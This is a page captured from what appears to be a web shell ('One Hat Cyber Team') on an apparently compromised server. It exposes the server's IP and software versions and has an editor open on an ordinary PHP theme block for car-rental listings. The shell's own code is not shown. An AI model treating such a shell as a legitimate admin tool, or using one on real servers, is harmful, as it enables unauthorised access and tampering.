⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.45
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
work
/
themes
/
Mytravel
/
Car
/
Blocks
/
Edit File: TermCar.php
<?php namespace Themes\Mytravel\Car\Blocks; use Modules\Core\Models\Terms; use Modules\Template\Blocks\BaseBlock; use Modules\Car\Models\Car; use Modules\Location\Models\Location; class TermCar extends BaseBlock { function getOptions() { return ([ 'settings' => [ [ 'id' => 'title', 'type' => 'input', 'inputType' => 'text', 'label' => __('Title') ], [ 'id' => 'term_car', 'type' => 'select2', 'label' => __('Select term car'), 'select2' => [ 'ajax' => [ 'url' => route('car.admin.attribute.term.getForSelect2', ['type' => 'car']), 'dataType' => 'json' ], 'width' => '100%', 'multiple' => "true", ], 'pre_selected' => route('car.admin.attribute.term.getForSelect2', [ 'type' => 'car', 'pre_selected' => 1 ]) ] ], 'category'=>__("Car Blocks") ]); } public function getName() { return __('Car: List Term Items'); } public function content($model = []) { $car_terms = Terms::whereIn('id',$model['term_car'])->get(); $data = [ 'terms' => $car_terms, 'title' => $model['title'] ?? "", ]; return $this->view('Car::frontend.blocks.term-car.style_1', $data); } public function contentAPI($model = []){ $rows = $this->query($model); $model['data']= $rows->map(function($row){ return $row->dataForApi(); }); return $model; } public function query($model){ $model_car = Car::select("bc_cars.*")->with(['location','translation','hasWishList']); if(empty($model['order'])) $model['order'] = "id"; if(empty($model['order_by'])) $model['order_by'] = "desc"; if(empty($model['number'])) $model['number'] = 5; if (!empty($model['location_id'])) { $location = Location::where('id', $model['location_id'])->where("status","publish")->first(); if(!empty($location)){ $model_car->join('bravo_locations', function ($join) use ($location) { $join->on('bravo_locations.id', '=', 'bravo_cars.location_id') ->where('bravo_locations._lft', '>=', $location->_lft) ->where('bravo_locations._rgt', '<=', $location->_rgt); }); } } if(!empty($model['is_featured'])) { $model_car->where('is_featured',1); } $model_car->orderBy("bravo_cars.".$model['order'], $model['order_by']); $model_car->where("bravo_cars.status", "publish"); $model_car->with('location'); $model_car->groupBy("bravo_cars.id"); return $model_car->limit($model['number'])->get(); } }
Simpan